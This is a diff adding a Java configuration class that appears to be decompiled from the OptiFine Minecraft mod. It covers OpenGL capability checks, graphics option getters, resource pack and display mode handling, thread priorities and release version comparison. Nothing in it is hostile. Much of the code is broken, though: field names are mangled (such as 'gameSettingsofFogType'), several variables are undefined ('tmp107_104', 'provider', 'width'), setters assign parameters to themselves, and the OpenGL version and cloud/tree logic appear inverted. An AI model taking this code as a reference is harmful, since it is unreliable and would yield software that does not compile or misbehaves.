+    log("Java: " + System.getProperty("java.version") + ", " + System.getProperty("java.vendor"));
+    log("VM: " + System.getProperty("java.vm.name") + " (" + System.getProperty("java.vm.info") + "), " + System.getProperty("java.vm.vendor"));
+    log("LWJGL: " + Sys.getVersion());
+    openGlVersion = GL11.glGetString(7938);
+    openGlRenderer = GL11.glGetString(7937);
+    openGlVendor = GL11.glGetString(7936);
+    log("OpenGL: " + openGlRenderer + ", version " + openGlVersion + ", " + openGlVendor);
+    log("OpenGL Version: " + getOpenGlVersionString());
+    
+    if (!getCapabilitiesOpenGL12)
+    {
+      log("OpenGL Mipmap levels: Not available (GL12.GL_TEXTURE_MAX_LEVEL)");
+    }
+    
+    fancyFogAvailable = getCapabilitiesGL_NV_fog_distance;
+    
+    if (!fancyFogAvailable)
+    {
+      log("OpenGL Fancy fog: Not available (GL_NV_fog_distance)");
+    }
+    
+    occlusionAvailable = getCapabilitiesGL_ARB_occlusion_query;
+    
+    if (!occlusionAvailable)
+    {
+      log("OpenGL Occlussion culling: Not available (GL_ARB_occlusion_query)");
+    }
+    
+    int maxTexSize = Minecraft.getGLMaximumTextureSize();
+    dbg("Maximum texture size: " + maxTexSize + "x" + maxTexSize);
+  }
+  
+  private static String getBuild()
+  {
+    try
+    {
+      InputStream e = Config.class.getResourceAsStream("/buildof.txt");
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      return readLines(e)[0];
+
+    }
+    catch (Exception var2)
+    {
+
+      warn(var2.getClass().getName() + ": " + var2.getMessage()); }
+    return null;
+  }
+  
+
+  public static boolean isFancyFogAvailable()
+  {
+    return fancyFogAvailable;
+  }
+  
+  public static boolean isOcclusionAvailable()
+  {
+    return occlusionAvailable;
+  }
+  
+  public static String getOpenGlVersionString()
+  {
+    int ver = getOpenGlVersion();
+    String verStr = ver / 10 + "." + ver % 10;
+    return verStr;
+  }
+  
+  private static int getOpenGlVersion()
+  {
+    return !getCapabilitiesOpenGL40 ? 33 : !getCapabilitiesOpenGL33 ? 32 : !getCapabilitiesOpenGL32 ? 31 : !getCapabilitiesOpenGL31 ? 30 : !getCapabilitiesOpenGL30 ? 21 : !getCapabilitiesOpenGL21 ? 20 : !getCapabilitiesOpenGL20 ? 15 : !getCapabilitiesOpenGL15 ? 14 : !getCapabilitiesOpenGL14 ? 13 : !getCapabilitiesOpenGL13 ? 12 : !getCapabilitiesOpenGL12 ? 11 : !getCapabilitiesOpenGL11 ? 10 : 40;
+  }
+  
+  public static void updateThreadPriorities()
+  {
+    updateAvailableProcessors();
+    boolean ELEVATED_PRIORITY = true;
+    
+    if (isSingleProcessor())
+    {
+      if (isSmoothWorld())
+      {
+        minecraftThread.setPriority(10);
+        setThreadPriority("Server thread", 1);
+      }
+      else
+      {
+        minecraftThread.setPriority(5);
+        setThreadPriority("Server thread", 5);
+      }
+    }
+    else
+    {
+      minecraftThread.setPriority(10);
+      setThreadPriority("Server thread", 5);
+    }
+  }
+  
+  private static void setThreadPriority(String prefix, int priority)
+  {
+    try
+    {
+      ThreadGroup e = Thread.currentThread().getThreadGroup();
+      
+      if (e == null)
+      {
+        return;
+      }
+      
+      int num = (e.activeCount() + 10) * 2;
+      Thread[] ts = new Thread[num];
+      e.enumerate(ts, false);
+      
+      for (int i = 0; i < ts.length; i++)
+      {
+        Thread t = ts[i];
+        
+        if ((t != null) && (t.getName().startsWith(prefix)))
+        {
+          t.setPriority(priority);
+        }
+      }
+    }
+    catch (Throwable var7)
+    {
+      warn(var7.getClass().getName() + ": " + var7.getMessage());
+    }
+  }
+  
+  public static boolean isMinecraftThread()
+  {
+    return Thread.currentThread() == minecraftThread;
+  }
+  
+  private static void startVersionCheckThread()
+  {
+    VersionCheckThread vct = new VersionCheckThread();
+    vct.start();
+  }
+  
+  public static boolean isMipmaps()
+  {
+    return gameSettingsmipmapLevels > 0;
+  }
+  
+  public static int getMipmapLevels()
+  {
+    return gameSettingsmipmapLevels;
+  }
+  
+  public static int getMipmapType()
+  {
+    switch (gameSettingsofMipmapType)
+    {
+    case 0: 
+      return 9986;
+    
+    case 1: 
+      return 9986;
+    
+    case 2: 
+      if (isMultiTexture())
+      {
+        return 9985;
+      }
+      
+      return 9986;
+    
+    case 3: 
+      if (isMultiTexture())
+      {
+        return 9987;
+      }
+      
+      return 9986;
+    }
+    
+    return 9986;
+  }
+  
+
+  public static boolean isUseAlphaFunc()
+  {
+    float alphaFuncLevel = getAlphaFuncLevel();
+    return alphaFuncLevel > DEF_ALPHA_FUNC_LEVEL.floatValue() + 1.0E-5F;
+  }
+  
+  public static float getAlphaFuncLevel()
+  {
+    return DEF_ALPHA_FUNC_LEVEL.floatValue();
+  }
+  
+  public static boolean isFogFancy()
+  {
+    return isFancyFogAvailable();
+  }
+  
+  public static boolean isFogFast()
+  {
+    return gameSettingsofFogType == 1;
+  }
+  
+  public static boolean isFogOff()
+  {
+    return gameSettingsofFogType == 3;
+  }
+  
+  public static float getFogStart()
+  {
+    return gameSettingsofFogStart;
+  }
+  
+  public static void dbg(String s)
+  {
+    systemOut.print("[OptiFine] ");
+    systemOut.println(s);
+  }
+  
+  public static void warn(String s)
+  {
+    systemOut.print("[OptiFine] [WARN] ");
+    systemOut.println(s);
+  }
+  
+  public static void error(String s)
+  {
+    systemOut.print("[OptiFine] [ERROR] ");
+    systemOut.println(s);
+  }
+  
+  public static void log(String s)
+  {
+    dbg(s);
+  }
+  
+  public static int getUpdatesPerFrame()
+  {
+    return gameSettingsofChunkUpdates;
+  }
+  
+  public static boolean isDynamicUpdates()
+  {
+    return gameSettingsofChunkUpdatesDynamic;
+  }
+  
+  public static boolean isRainFancy()
+  {
+    return gameSettingsofRain == 2 ? true : gameSettingsofRain == 0 ? gameSettingsfancyGraphics : false;
+  }
+  
+  public static boolean isRainOff()
+  {
+    return gameSettingsofRain == 3;
+  }
+  
+  public static boolean isCloudsFancy()
+  {
+    return texturePackClouds != 0 ? false : texturePackClouds == 2 ? true : (isShaders()) && (!Shaders.shaderPackClouds.isDefault()) ? Shaders.shaderPackClouds.isFancy() : gameSettingsofClouds != 0 ? false : gameSettingsofClouds == 2 ? true : gameSettingsfancyGraphics;
+  }
+  
+  public static boolean isCloudsOff()
+  {
+    return gameSettingsofClouds == 3;
+  }
+  
+  public static void updateTexturePackClouds()
+  {
+    texturePackClouds = 0;
+    IResourceManager rm = getResourceManager();
+    
+    if (rm != null)
+    {
+      try
+      {
+        InputStream e = rm.getResource(new ResourceLocation("mcpatcher/color.properties")).getInputStream();
+        
+        if (e == null)
+        {
+          return;
+        }
+        
+        Properties props = new Properties();
+        props.load(e);
+        e.close();
+        String cloudStr = props.getProperty("clouds");
+        
+        if (cloudStr == null)
+        {
+          return;
+        }
+        
+        dbg("Texture pack clouds: " + cloudStr);
+        cloudStr = cloudStr.toLowerCase();
+        
+        if (cloudStr.equals("fast"))
+        {
+          texturePackClouds = 1;
+        }
+        
+        if (cloudStr.equals("fancy"))
+        {
+          texturePackClouds = 2;
+        }
+        
+        if (cloudStr.equals("off"))
+        {
+          texturePackClouds = 3;
+        }
+      }
+      catch (Exception localException) {}
+    }
+  }
+  
+
+
+
+  public static void setModelManager(ModelManager modelManager)
+  {
+    modelManager = modelManager;
+  }
+  
+  public static ModelManager getModelManager()
+  {
+    return modelManager;
+  }
+  
+  public static boolean isTreesFancy()
+  {
+    return gameSettingsofTrees != 1 ? true : gameSettingsofTrees == 0 ? gameSettingsfancyGraphics : false;
+  }
+  
+  public static boolean isTreesSmart()
+  {
+    return gameSettingsofTrees == 4;
+  }
+  
+  public static boolean isCullFacesLeaves()
+  {
+    return !gameSettingsfancyGraphics;
+  }
+  
+  public static boolean isDroppedItemsFancy()
+  {
+    return gameSettingsofDroppedItems == 2 ? true : gameSettingsofDroppedItems == 0 ? gameSettingsfancyGraphics : false;
+  }
+  
+  public static int limit(int val, int min, int max)
+  {
+    return val > max ? max : val < min ? min : val;
+  }
+  
+  public static float limit(float val, float min, float max)
+  {
+    return val > max ? max : val < min ? min : val;
+  }
+  
+  public static double limit(double val, double min, double max)
+  {
+    return val > max ? max : val < min ? min : val;
+  }
+  
+  public static float limitTo1(float val)
+  {
+    return val > 1.0F ? 1.0F : val < 0.0F ? 0.0F : val;
+  }
+  
+  public static boolean isAnimatedWater()
+  {
+    return gameSettingsofAnimatedWater != 2;
+  }
+  
+  public static boolean isGeneratedWater()
+  {
+    return gameSettingsofAnimatedWater == 1;
+  }
+  
+  public static boolean isAnimatedPortal()
+  {
+    return gameSettingsofAnimatedPortal;
+  }
+  
+  public static boolean isAnimatedLava()
+  {
+    return gameSettingsofAnimatedLava != 2;
+  }
+  
+  public static boolean isGeneratedLava()
+  {
+    return gameSettingsofAnimatedLava == 1;
+  }
+  
+  public static boolean isAnimatedFire()
+  {
+    return gameSettingsofAnimatedFire;
+  }
+  
+  public static boolean isAnimatedRedstone()
+  {
+    return gameSettingsofAnimatedRedstone;
+  }
+  
+  public static boolean isAnimatedExplosion()
+  {
+    return gameSettingsofAnimatedExplosion;
+  }
+  
+  public static boolean isAnimatedFlame()
+  {
+    return gameSettingsofAnimatedFlame;
+  }
+  
+  public static boolean isAnimatedSmoke()
+  {
+    return gameSettingsofAnimatedSmoke;
+  }
+  
+  public static boolean isVoidParticles()
+  {
+    return gameSettingsofVoidParticles;
+  }
+  
+  public static boolean isWaterParticles()
+  {
+    return gameSettingsofWaterParticles;
+  }
+  
+  public static boolean isRainSplash()
+  {
+    return gameSettingsofRainSplash;
+  }
+  
+  public static boolean isPortalParticles()
+  {
+    return gameSettingsofPortalParticles;
+  }
+  
+  public static boolean isPotionParticles()
+  {
+    return gameSettingsofPotionParticles;
+  }
+  
+  public static boolean isFireworkParticles()
+  {
+    return gameSettingsofFireworkParticles;
+  }
+  
+  public static float getAmbientOcclusionLevel()
+  {
+    return gameSettingsofAoLevel;
+  }
+  
+  private static Method getMethod(Class cls, String methodName, Object[] params)
+  {
+    Method[] methods = cls.getMethods();
+    
+    for (int i = 0; i < methods.length; i++)
+    {
+      Method m = methods[i];
+      
+      if ((m.getName().equals(methodName)) && (m.getParameterTypes().length == params.length))
+      {
+        return m;
+      }
+    }
+    
+    warn("No method found for: " + cls.getName() + "." + methodName + "(" + arrayToString(params) + ")");
+    return null;
+  }
+  
+  public static String arrayToString(Object[] arr)
+  {
+    if (arr == null)
+    {
+      return "";
+    }
+    
+
+    StringBuffer buf = new StringBuffer(arr.length * 5);
+    
+    for (int i = 0; i < arr.length; i++)
+    {
+      Object obj = arr[i];
+      
+      if (i > 0)
+      {
+        buf.append(", ");
+      }
+      
+      buf.append(String.valueOf(obj));
+    }
+    
+    return buf.toString();
+  }
+  
+
+  public static String arrayToString(int[] arr)
+  {
+    if (arr == null)
+    {
+      return "";
+    }
+    
+
+    StringBuffer buf = new StringBuffer(arr.length * 5);
+    
+    for (int i = 0; i < arr.length; i++)
+    {
+      int x = arr[i];
+      
+      if (i > 0)
+      {
+        buf.append(", ");
+      }
+      
+      buf.append(String.valueOf(x));
+    }
+    
+    return buf.toString();
+  }
+  
+
+  public static Minecraft getMinecraft()
+  {
+    return minecraft;
+  }
+  
+  public static net.minecraft.client.renderer.texture.TextureManager getTextureManager()
+  {
+    return minecraft.getTextureManager();
+  }
+  
+  public static IResourceManager getResourceManager()
+  {
+    return minecraft.getResourceManager();
+  }
+  
+  public static InputStream getResourceStream(ResourceLocation location) throws IOException
+  {
+    return getResourceStream(minecraft.getResourceManager(), location);
+  }
+  
+  public static InputStream getResourceStream(IResourceManager resourceManager, ResourceLocation location) throws IOException
+  {
+    IResource res = resourceManager.getResource(location);
+    return res == null ? null : res.getInputStream();
+  }
+  
+  public static IResource getResource(ResourceLocation location) throws IOException
+  {
+    return minecraft.getResourceManager().getResource(location);
+  }
+  
+  public static boolean hasResource(ResourceLocation location)
+  {
+    try
+    {
+      IResource e = getResource(location);
+      return e != null;
+    }
+    catch (IOException var2) {}
+    
+    return false;
+  }
+  
+
+  public static boolean hasResource(IResourceManager resourceManager, ResourceLocation location)
+  {
+    try
+    {
+      IResource e = resourceManager.getResource(location);
+      return e != null;
+    }
+    catch (IOException var3) {}
+    
+    return false;
+  }
+  
+
+  public static IResourcePack[] getResourcePacks()
+  {
+    ResourcePackRepository rep = minecraft.getResourcePackRepository();
+    List entries = rep.getRepositoryEntries();
+    ArrayList list = new ArrayList();
+    Iterator rps = entries.iterator();
+    
+    while (rps.hasNext())
+    {
+      ResourcePackRepository.Entry entry = (ResourcePackRepository.Entry)rps.next();
+      list.add(entry.getResourcePack());
+    }
+    
+    if (rep.getResourcePackInstance() != null)
+    {
+      list.add(rep.getResourcePackInstance());
+    }
+    
+    IResourcePack[] rps1 = (IResourcePack[])list.toArray(new IResourcePack[list.size()]);
+    return rps1;
+  }
+  
+  public static String getResourcePackNames()
+  {
+    if (minecraft == null)
+    {
+      return "";
+    }
+    if (minecraft.getResourcePackRepository() == null)
+    {
+      return "";
+    }
+    
+
+    IResourcePack[] rps = getResourcePacks();
+    
+    if (rps.length <= 0)
+    {
+      return getDefaultResourcePack().getPackName();
+    }
+    
+
+    String[] names = new String[rps.length];
+    
+    for (int nameStr = 0; nameStr < rps.length; nameStr++)
+    {
+      names[nameStr] = rps[nameStr].getPackName();
+    }
+    
+    String var3 = arrayToString(names);
+    return var3;
+  }
+  
+
+
+  public static DefaultResourcePack getDefaultResourcePack()
+  {
+    if (defaultResourcePack == null)
+    {
+      Minecraft mc = Minecraft.getMinecraft();
+      
+      try
+      {
+        Field[] repository = mc.getClass().getDeclaredFields();
+        
+        for (int i = 0; i < repository.length; i++)
+        {
+          Field field = repository[i];
+          
+          if (field.getType() == DefaultResourcePack.class)
+          {
+            field.setAccessible(true);
+            defaultResourcePack = (DefaultResourcePack)field.get(mc);
+            break;
+          }
+        }
+      }
+      catch (Exception var4)
+      {
+        warn("Error getting default resource pack: " + var4.getClass().getName() + ": " + var4.getMessage());
+      }
+      
+      if (defaultResourcePack == null)
+      {
+        ResourcePackRepository var5 = mc.getResourcePackRepository();
+        
+        if (var5 != null)
+        {
+          defaultResourcePack = (DefaultResourcePack)rprDefaultResourcePack;
+        }
+      }
+    }
+    
+    return defaultResourcePack;
+  }
+  
+  public static boolean isFromDefaultResourcePack(ResourceLocation loc)
+  {
+    IResourcePack rp = getDefiningResourcePack(loc);
+    return rp == getDefaultResourcePack();
+  }
+  
+  public static IResourcePack getDefiningResourcePack(ResourceLocation loc)
+  {
+    IResourcePack[] rps = getResourcePacks();
+    
+    for (int i = rps.length - 1; i >= 0; i--)
+    {
+      IResourcePack rp = rps[i];
+      
+      if (rp.resourceExists(loc))
+      {
+        return rp;
+      }
+    }
+    
+    if (getDefaultResourcePack().resourceExists(loc))
+    {
+      return getDefaultResourcePack();
+    }
+    
+
+    return null;
+  }
+  
+
+  public static RenderGlobal getRenderGlobal()
+  {
+    return minecraft == null ? null : minecraftrenderGlobal;
+  }
+  
+  public static boolean isBetterGrass()
+  {
+    return gameSettingsofBetterGrass != 3;
+  }
+  
+  public static boolean isBetterGrassFancy()
+  {
+    return gameSettingsofBetterGrass == 2;
+  }
+  
+  public static boolean isWeatherEnabled()
+  {
+    return gameSettingsofWeather;
+  }
+  
+  public static boolean isSkyEnabled()
+  {
+    return gameSettingsofSky;
+  }
+  
+  public static boolean isSunMoonEnabled()
+  {
+    return gameSettingsofSunMoon;
+  }
+  
+  public static boolean isVignetteEnabled()
+  {
+    return gameSettingsofVignette == 2 ? true : gameSettingsofVignette == 0 ? gameSettingsfancyGraphics : false;
+  }
+  
+  public static boolean isStarsEnabled()
+  {
+    return gameSettingsofStars;
+  }
+  
+  public static void sleep(long ms)
+  {
+    try
+    {
+      Thread.currentThread();
+      Thread.sleep(ms);
+    }
+    catch (InterruptedException var3)
+    {
+      var3.printStackTrace();
+    }
+  }
+  
+  public static boolean isTimeDayOnly()
+  {
+    return gameSettingsofTime == 1;
+  }
+  
+  public static boolean isTimeDefault()
+  {
+    return gameSettingsofTime == 0;
+  }
+  
+  public static boolean isTimeNightOnly()
+  {
+    return gameSettingsofTime == 2;
+  }
+  
+  public static boolean isClearWater()
+  {
+    return gameSettingsofClearWater;
+  }
+  
+  public static int getAnisotropicFilterLevel()
+  {
+    return gameSettingsofAfLevel;
+  }
+  
+  public static boolean isAnisotropicFiltering()
+  {
+    return getAnisotropicFilterLevel() > 1;
+  }
+  
+  public static int getAntialiasingLevel()
+  {
+    return antialiasingLevel;
+  }
+  
+  public static boolean isAntialiasing()
+  {
+    return getAntialiasingLevel() > 0;
+  }
+  
+  public static boolean isAntialiasingConfigured()
+  {
+    return getGameSettingsofAaLevel > 0;
+  }
+  
+  public static boolean isMultiTexture()
+  {
+    return getAnisotropicFilterLevel() > 1;
+  }
+  
+  public static boolean between(int val, int min, int max)
+  {
+    return (val >= min) && (val <= max);
+  }
+  
+  public static boolean isDrippingWaterLava()
+  {
+    return gameSettingsofDrippingWaterLava;
+  }
+  
+  public static boolean isBetterSnow()
+  {
+    return gameSettingsofBetterSnow;
+  }
+  
+  public static Dimension getFullscreenDimension()
+  {
+    if (desktopDisplayMode == null)
+    {
+      return null;
+    }
+    if (gameSettings == null)
+    {
+      return new Dimension(desktopDisplayMode.getWidth(), desktopDisplayMode.getHeight());
+    }
+    
+
+    String dimStr = gameSettingsofFullscreenMode;
+    
+    if (dimStr.equals("Default"))
+    {
+      return new Dimension(desktopDisplayMode.getWidth(), desktopDisplayMode.getHeight());
+    }
+    
+
+    String[] dimStrs = tokenize(dimStr, " x");
+    return dimStrs.length < 2 ? new Dimension(desktopDisplayMode.getWidth(), desktopDisplayMode.getHeight()) : new Dimension(parseInt(dimStrs[0], -1), parseInt(dimStrs[1], -1));
+  }
+  
+
+
+  public static int parseInt(String str, int defVal)
+  {
+    try
+    {
+      if (str == null)
+      {
+        return defVal;
+      }
+      
+
+      str = str.trim();
+      return Integer.parseInt(str);
+    }
+    catch (NumberFormatException var3) {}
+    
+
+    return defVal;
+  }
+  
+
+  public static float parseFloat(String str, float defVal)
+  {
+    try
+    {
+      if (str == null)
+      {
+        return defVal;
+      }
+      
+
+      str = str.trim();
+      return Float.parseFloat(str);
+    }
+    catch (NumberFormatException var3) {}
+    
+
+    return defVal;
+  }
+  
+
+  public static boolean parseBoolean(String str, boolean defVal)
+  {
+    try
+    {
+      if (str == null)
+      {
+        return defVal;
+      }
+      
+
+      str = str.trim();
+      return Boolean.parseBoolean(str);
+    }
+    catch (NumberFormatException var3) {}
+    
+
+    return defVal;
+  }
+  
+
+  public static String[] tokenize(String str, String delim)
+  {
+    StringTokenizer tok = new StringTokenizer(str, delim);
+    ArrayList list = new ArrayList();
+    
+    while (tok.hasMoreTokens())
+    {
+      String strs = tok.nextToken();
+      list.add(strs);
+    }
+    
+    String[] strs1 = (String[])list.toArray(new String[list.size()]);
+    return strs1;
+  }
+  
+  public static DisplayMode getDesktopDisplayMode()
+  {
+    return desktopDisplayMode;
+  }
+  
+  public static DisplayMode[] getFullscreenDisplayModes()
+  {
+    try
+    {
+      DisplayMode[] e = Display.getAvailableDisplayModes();
+      ArrayList list = new ArrayList();
+      
+      for (int fsModes = 0; fsModes < e.length; fsModes++)
+      {
+        DisplayMode comp = e[fsModes];
+        
+        if ((desktopDisplayMode == null) || ((comp.getBitsPerPixel() == desktopDisplayMode.getBitsPerPixel()) && (comp.getFrequency() == desktopDisplayMode.getFrequency())))
+        {
+          list.add(comp);
+        }
+      }
+      
+      DisplayMode[] var5 = (DisplayMode[])list.toArray(new DisplayMode[list.size()]);
+      Comparator var6 = new Comparator()
+      {
+        public int compare(Object o1, Object o2)
+        {
+          DisplayMode dm1 = (DisplayMode)o1;
+          DisplayMode dm2 = (DisplayMode)o2;
+          return dm1.getHeight() != dm2.getHeight() ? dm2.getHeight() - dm1.getHeight() : dm1.getWidth() != dm2.getWidth() ? dm2.getWidth() - dm1.getWidth() : 0;
+        }
+      };
+      Arrays.sort(var5, var6);
+      return var5;
+    }
+    catch (Exception var4)
+    {
+      var4.printStackTrace(); }
+    return tmp107_104;
+  }
+  
+
+  public static String[] getFullscreenModes()
+  {
+    DisplayMode[] modes = getFullscreenDisplayModes();
+    String[] names = new String[modes.length];
+    
+    for (int i = 0; i < modes.length; i++)
+    {
+      DisplayMode mode = modes[i];
+      String name = mode.getWidth() + "x" + mode.getHeight();
+      names[i] = name;
+    }
+    
+    return names;
+  }
+  
+  public static DisplayMode getDisplayMode(Dimension dim) throws LWJGLException
+  {
+    DisplayMode[] modes = Display.getAvailableDisplayModes();
+    
+    for (int i = 0; i < modes.length; i++)
+    {
+      DisplayMode dm = modes[i];
+      
+      if ((dm.getWidth() == width) && (dm.getHeight() == height) && ((desktopDisplayMode == null) || ((dm.getBitsPerPixel() == desktopDisplayMode.getBitsPerPixel()) && (dm.getFrequency() == desktopDisplayMode.getFrequency()))))
+      {
+        return dm;
+      }
+    }
+    
+    return desktopDisplayMode;
+  }
+  
+  public static boolean isAnimatedTerrain()
+  {
+    return gameSettingsofAnimatedTerrain;
+  }
+  
+  public static boolean isAnimatedTextures()
+  {
+    return gameSettingsofAnimatedTextures;
+  }
+  
+  public static boolean isSwampColors()
+  {
+    return gameSettingsofSwampColors;
+  }
+  
+  public static boolean isRandomMobs()
+  {
+    return gameSettingsofRandomMobs;
+  }
+  
+  public static void checkGlError(String loc)
+  {
+    int i = GL11.glGetError();
+    
+    if (i != 0)
+    {
+      String text = GLU.gluErrorString(i);
+      error("OpenGlError: " + i + " (" + text + "), at: " + loc);
+    }
+  }
+  
+  public static boolean isSmoothBiomes()
+  {
+    return gameSettingsofSmoothBiomes;
+  }
+  
+  public static boolean isCustomColors()
+  {
+    return gameSettingsofCustomColors;
+  }
+  
+  public static boolean isCustomSky()
+  {
+    return gameSettingsofCustomSky;
+  }
+  
+  public static boolean isCustomFonts()
+  {
+    return gameSettingsofCustomFonts;
+  }
+  
+  public static boolean isShowCapes()
+  {
+    return gameSettingsofShowCapes;
+  }
+  
+  public static boolean isConnectedTextures()
+  {
+    return gameSettingsofConnectedTextures != 3;
+  }
+  
+  public static boolean isNaturalTextures()
+  {
+    return gameSettingsofNaturalTextures;
+  }
+  
+  public static boolean isConnectedTexturesFancy()
+  {
+    return gameSettingsofConnectedTextures == 2;
+  }
+  
+  public static boolean isFastRender()
+  {
+    return gameSettingsofFastRender;
+  }
+  
+  public static boolean isTranslucentBlocksFancy()
+  {
+    return gameSettingsofTranslucentBlocks == 2 ? true : gameSettingsofTranslucentBlocks == 0 ? gameSettingsfancyGraphics : false;
+  }
+  
+  public static boolean isShaders()
+  {
+    return Shaders.shaderPackLoaded;
+  }
+  
+  public static String[] readLines(File file) throws IOException
+  {
+    FileInputStream fis = new FileInputStream(file);
+    return readLines(fis);
+  }
+  
+  public static String[] readLines(InputStream is) throws IOException
+  {
+    ArrayList list = new ArrayList();
+    InputStreamReader isr = new InputStreamReader(is, "ASCII");
+    BufferedReader br = new BufferedReader(isr);
+    
+    for (;;)
+    {
+      String lines = br.readLine();
+      
+      if (lines == null)
+      {
+        String[] lines1 = (String[])list.toArray(new String[list.size()]);
+        return lines1;
+      }
+      
+      list.add(lines);
+    }
+  }
+  
+  public static String readFile(File file) throws IOException
+  {
+    FileInputStream fin = new FileInputStream(file);
+    return readInputStream(fin, "ASCII");
+  }
+  
+  public static String readInputStream(InputStream in) throws IOException
+  {
+    return readInputStream(in, "ASCII");
+  }
+  
+  public static String readInputStream(InputStream in, String encoding) throws IOException
+  {
+    InputStreamReader inr = new InputStreamReader(in, encoding);
+    BufferedReader br = new BufferedReader(inr);
+    StringBuffer sb = new StringBuffer();
+    
+    for (;;)
+    {
+      String line = br.readLine();
+      
+      if (line == null)
+      {
+        return sb.toString();
+      }
+      
+      sb.append(line);
+      sb.append("\n");
+    }
+  }
+  
+  public static byte[] readAll(InputStream is) throws IOException
+  {
+    ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    byte[] buf = new byte['Ѐ'];
+    
+    for (;;)
+    {
+      int bytes = is.read(buf);
+      
+      if (bytes < 0)
+      {
+        is.close();
+        byte[] bytes1 = baos.toByteArray();
+        return bytes1;
+      }
+      
+      baos.write(buf, 0, bytes);
+    }
+  }
+  
+  public static GameSettings getGameSettings()
+  {
+    return gameSettings;
+  }
+  
+  public static String getNewRelease()
+  {
+    return newRelease;
+  }
+  
+  public static void setNewRelease(String newRelease)
+  {
+    newRelease = newRelease;
+  }
+  
+  public static int compareRelease(String rel1, String rel2)
+  {
+    String[] rels1 = splitRelease(rel1);
+    String[] rels2 = splitRelease(rel2);
+    String branch1 = rels1[0];
+    String branch2 = rels2[0];
+    
+    if (!branch1.equals(branch2))
+    {
+      return branch1.compareTo(branch2);
+    }
+    
+
+    int rev1 = parseInt(rels1[1], -1);
+    int rev2 = parseInt(rels2[1], -1);
+    
+    if (rev1 != rev2)
+    {
+      return rev1 - rev2;
+    }
+    
+
+    String suf1 = rels1[2];
+    String suf2 = rels2[2];
+    
+    if (!suf1.equals(suf2))
+    {
+      if (suf1.isEmpty())
+      {
+        return 1;
+      }
+      
+      if (suf2.isEmpty())
+      {
+        return -1;
+      }
+    }
+    
+    return suf1.compareTo(suf2);
+  }
+  
+
+
+  private static String[] splitRelease(String relStr)
+  {
+    if ((relStr != null) && (relStr.length() > 0))
+    {
+      Pattern p = Pattern.compile("([A-Z])([0-9]+)(.*)");
+      Matcher m = p.matcher(relStr);
+      
+      if (!m.matches())
+      {
+        return new String[] { "", "", "" };
+      }
+      
+
+      String branch = normalize(m.group(1));
+      String revision = normalize(m.group(2));
+      String suffix = normalize(m.group(3));
+      return new String[] { branch, revision, suffix };
+    }
+    
+
+
+    return new String[] { "", "", "" };
+  }
+  
+
+  public static int intHash(int x)
+  {
+    x = x ^ 0x3D ^ x >> 16;
+    x += (x << 3);
+    x ^= x >> 4;
+    x *= 668265261;
+    x ^= x >> 15;
+    return x;
+  }
+  
+  public static int getRandom(BlockPos blockPos, int face)
+  {
+    int rand = intHash(face + 37);
+    rand = intHash(rand + blockPos.getX());
+    rand = intHash(rand + blockPos.getZ());
+    rand = intHash(rand + blockPos.getY());
+    return rand;
+  }
+  
+  public static WorldServer getWorldServer()
+  {
+    if (minecraft == null)
+    {
+      return null;
+    }
+    
+
+    WorldClient world = minecrafttheWorld;
+    
+    if (world == null)
+    {
+      return null;
+    }
+    if (!minecraft.isIntegratedServerRunning())
+    {
+      return null;
+    }
+    
+
+    IntegratedServer is = minecraft.getIntegratedServer();
+    
+    if (is == null)
+    {
+      return null;
+    }
+    
+
+    WorldProvider wp = provider;
+    
+    if (wp == null)
+    {
+      return null;
+    }
+    
+
+    int wd = wp.getDimensionId();
+    
+    try
+    {
+      return is.worldServerForDimension(wd);
+    }
+    catch (NullPointerException var5) {}
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+  public static int getAvailableProcessors()
+  {
+    return availableProcessors;
+  }
+  
+  public static void updateAvailableProcessors()
+  {
+    availableProcessors = Runtime.getRuntime().availableProcessors();
+  }
+  
+  public static boolean isSingleProcessor()
+  {
+    return getAvailableProcessors() <= 1;
+  }
+  
+  public static boolean isSmoothWorld()
+  {
+    return gameSettingsofSmoothWorld;
+  }
+  
+  public static boolean isLazyChunkLoading()
+  {
+    return !isSingleProcessor() ? false : gameSettingsofLazyChunkLoading;
+  }
+  
+  public static boolean isDynamicFov()
+  {
+    return gameSettingsofDynamicFov;
+  }
+  
+  public static int getChunkViewDistance()
+  {
+    if (gameSettings == null)
+    {
+      return 10;
+    }
+    
+
+    int chunkDistance = gameSettingsrenderDistanceChunks;
+    return chunkDistance;
+  }
+  
+
+  public static boolean equals(Object o1, Object o2)
+  {
+    return o1 == null ? false : o1 == o2 ? true : o1.equals(o2);
+  }
+  
+  public static String normalize(String s)
+  {
+    return s == null ? "" : s;
+  }
+  
+  public static void checkDisplaySettings()
+  {
+    int samples = getAntialiasingLevel();
+    
+    if (samples > 0)
+    {
+      DisplayMode displayMode = Display.getDisplayMode();
+      dbg("FSAA Samples: " + samples);
+      
+      try
+      {
+        Display.destroy();
+        Display.setDisplayMode(displayMode);
+        Display.create(new PixelFormat().withDepthBits(24).withSamples(samples));
+        Display.setResizable(false);
+        Display.setResizable(true);
+      }
+      catch (LWJGLException var15)
+      {
+        warn("Error setting FSAA: " + samples + "x");
+        var15.printStackTrace();
+        
+        try
+        {
+          Display.setDisplayMode(displayMode);
+          Display.create(new PixelFormat().withDepthBits(24));
+          Display.setResizable(false);
+          Display.setResizable(true);
+        }
+        catch (LWJGLException var14)
+        {
+          var14.printStackTrace();
+          
+          try
+          {
+            Display.setDisplayMode(displayMode);
+            Display.create();
+            Display.setResizable(false);
+            Display.setResizable(true);
+          }
+          catch (LWJGLException var13)
+          {
+            var13.printStackTrace();
+          }
+        }
+      }
+      
+      if ((!Minecraft.isRunningOnMac) && (getDefaultResourcePack() != null))
+      {
+        InputStream var2 = null;
+        InputStream var3 = null;
+        
+        try
+        {
+          var2 = getDefaultResourcePack().func_152780_c(new ResourceLocation("icons/icon_16x16.png"));
+          var3 = getDefaultResourcePack().func_152780_c(new ResourceLocation("icons/icon_32x32.png"));
+          
+          if ((var2 != null) && (var3 != null))
+          {
+            Display.setIcon(new ByteBuffer[] { readIconImage(var2), readIconImage(var3) });
+          }
+        }
+        catch (IOException var11)
+        {
+          warn("Error setting window icon: " + var11.getClass().getName() + ": " + var11.getMessage());
+        }
+        finally
+        {
+          IOUtils.closeQuietly(var2);
+          IOUtils.closeQuietly(var3);
+        }
+      }
+    }
+  }
+  
+  private static ByteBuffer readIconImage(InputStream is) throws IOException
+  {
+    BufferedImage var2 = ImageIO.read(is);
+    int[] var3 = var2.getRGB(0, 0, var2.getWidth(), var2.getHeight(), null, 0, var2.getWidth());
